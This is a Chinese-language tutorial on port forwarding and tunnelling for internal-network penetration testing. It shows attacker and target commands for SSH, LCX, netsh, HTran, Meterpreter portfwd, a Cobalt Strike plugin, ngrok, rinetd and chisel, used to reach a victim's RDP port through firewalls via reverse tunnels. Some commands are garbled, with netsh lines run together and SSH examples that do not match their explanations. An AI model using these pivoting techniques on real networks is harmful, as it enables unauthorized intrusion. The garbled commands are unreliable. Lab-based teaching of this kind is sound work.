【内网渗透】全网最详细的端口转发教程

场景介绍

最近在真实环境测试和编写靶场实战教程时，总会遇到内网主机无法直接访问，需要通过转发端口、建立代理隧道等方式去访问，以方便后续进一步的横向渗透测试。本文章主要介绍一些端口转发工具的使用。

测试场景拓扑

图中所标注的IP地址为本地测试地址
Kali服务只能ping通192.168.52.129

正向连接和反向连接

学习端口转发之前，需要了解下什么事正向连接，什么是反向连接，如了解学习过，可以直接跳过本章节。

正向连接

受控端主机监听一个端口，控制端主机主动连接受控端主机，适用于受控端主机有公网IP的情况。

反向连接

控制端主机监听一个端口，受控端主机反向连接控制端主机，适用于受控端主机没有公网IP的情况。
如下图，受害机在内网，并且没有公网IP，攻击机无法通过IP地址访问，所以攻击机需要监听一个端口，让受害机反向连接攻击机。

端口转发

端口转发,有时被称为做隧道,是安全壳( SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口。

SSH端口转发

由于当前测试环境win7不自带SSH，需要下载安装SSH

在github上下载Openssh安装
解压到win7环境，并将路径加入到环境变量中，就可以直接使用

例1：要将本地的8080端口转发到远程服务器的80端口，可以使用以下命令：

ssh -L 18888:192.168.52.129:3389 kali@192.168.52.128
该条命令将192.168.52.128的1888端口的流量转发到192.168.52.129的3389端口

例2：要将远程服务器的8080端口转发到本地的80端口，可以使用以下命令：

ssh -R 3389:localhost:3389 username@sshserver
该条命令在目标主机上执行，将目标主机的3389端口指定到本地127.0.0.1的2289端口
可以在kali服务器上直接远程127.0.0.1端口

LCX

LCX是一款端口转发工具，分为Windows版和Linux版，Linux版本为PortMap。LCX有端口映射和端口转发两大功能，例如当目标的3389端口只对内开放而不对外开放时，可以使用端口映射将3389端口映射到目标的其他端口使用；当目标处于内网或目标配置的策略只允许访问固定某一端口时，可以通过端口转发突破限制。

本章仅演示LCX

场景一

由于配置了防火墙只允许web访问，这个时候攻击者想访问3389端口，远程连接是不可以的，就需要使用LCX进行端口转发

Web服务器开启了80端口，3389端口不允许出网，可以将web服务器的3389端口转发到允许出网的53端口，这个时候攻击者在本地监听53端口并且转发到1111端口，这个时候攻击者连接自己的1111端口，等于访问web服务器的3389端口

在攻击机机器上执行命令，监听本地53端口并且转发到本地1111端口

lcx.exe -listen 53 1111
1

在靶机执行命令，将本地的3389端口转发到192.168.198.129的 53端口

lcx.exe -slave 192.168.198.129 53 127.0.0.1 3389
1

在攻击机器上运行远程桌面，地址为127.0.0.1:1111

场景二

内网靶机开启了80端口，3389端口不允许出网，可以将内网靶机的3389端口转发到允许出网的54端口，这个时候攻击者在VPS监听54端口并且转发到1111端口，这个时候攻击者连接VPS的1111端口，等于访问内网靶机的3389端口
在内网靶机上运行以下命令，监听本地3389端口并且转发到VPS的54端口

lcx.exe -slave 192.168.0.114 54 127.0.0.1 3389
1

在vps运行lcx.exe -listen 54 1111，因为我的机器vps机器是kali系统所以使用的是portmap

./portmap -m 2 -p1 54 -p2 1111
1

在那内网攻击者机器上连接192.168.0.114:1111端口

netsh

使用windows自带的netsh配置规则也可达到和lcx一样的效果，但没有工具方便。建立转发规则：

netsh interfaceportproxyaddv4tov4listenport=6666 connect=3389connectaddress=192.168.1.2protocol=tcp
1

查看转发规则：

netsh interfaceportproxydump
1

删除转发规则：

netsh interfaceportproxydeletev4tov4listenport=7777
1

HTran

绕过防火墙
将本地3389端口转发到7777端口：

Htran.exe -tran 7777 127.0.0.1 3389
1

将本地端口转发到服务器端口

靶机：Htran.exe -slave 192.168.111.128 6666127.0.0.1 3389

服务器：/portmap -m 2 -p1 6666 -p2 5555
1
2
3

转发内网端口

靶机：HTran.exe -tran 6666 192.168.1.2 3389

攻击机：rdesktop 192.168.111.132:6666
1
2
3

portfwd（msf自带）

前提：获取到MSF会话

使用portfwd将靶机的3389转发到本地1234端口
在会话中执行：

meterpreter > portfwdadd-l 1234 -r 192.168.111.132-p 3389
1

使用portfwd list命令来查看转发规则：

CS插件

梼杌插件拥有一个端口转发工具名为iox：

发内网端口

rportfwd 8888 192.168.1.2 3389
rportfwd stop 8888

ngroc

访问官网注册登录

购买免费的隧道

以3389端口为例，添加完隧道后会有隧道ID和域名，下载Ngroc的客户端上传到靶机上

在靶机上执行

sunny.exe clientid id
1

看到上图中 隧道启动成功的字样说明隧道启动成功了！
可以直接用kali连接转发后的端口了 域名+端口

rinetd

vim /etc/rinetd.conf 编辑rinetd.confg文件内容为：0.0.0.0 2222 192.168.111.132
3389 即可将靶机的3389端口转发到本地2222端口

chisel

Chisel是一个快速TCP/UDP隧道，通过HTTP传输，通过SSH进行安全保护。单个可执行文件，包括客户端和服务器。Chisel主要用于通过防火墙，尽管它也可以用于为网络提供安全的端点。

工具下载：

https://github.com/jpillora/chisel

靶场转发本地的3000和8001端口 到10.10.14.64攻击机上。

攻击机：
chisel.exe server --port 12345 
靶场：
chisel.exe client 10.10.14.64:12345 3000:127.0.0.1:3000 8001:127.0.0.1:8001
1
2
3
4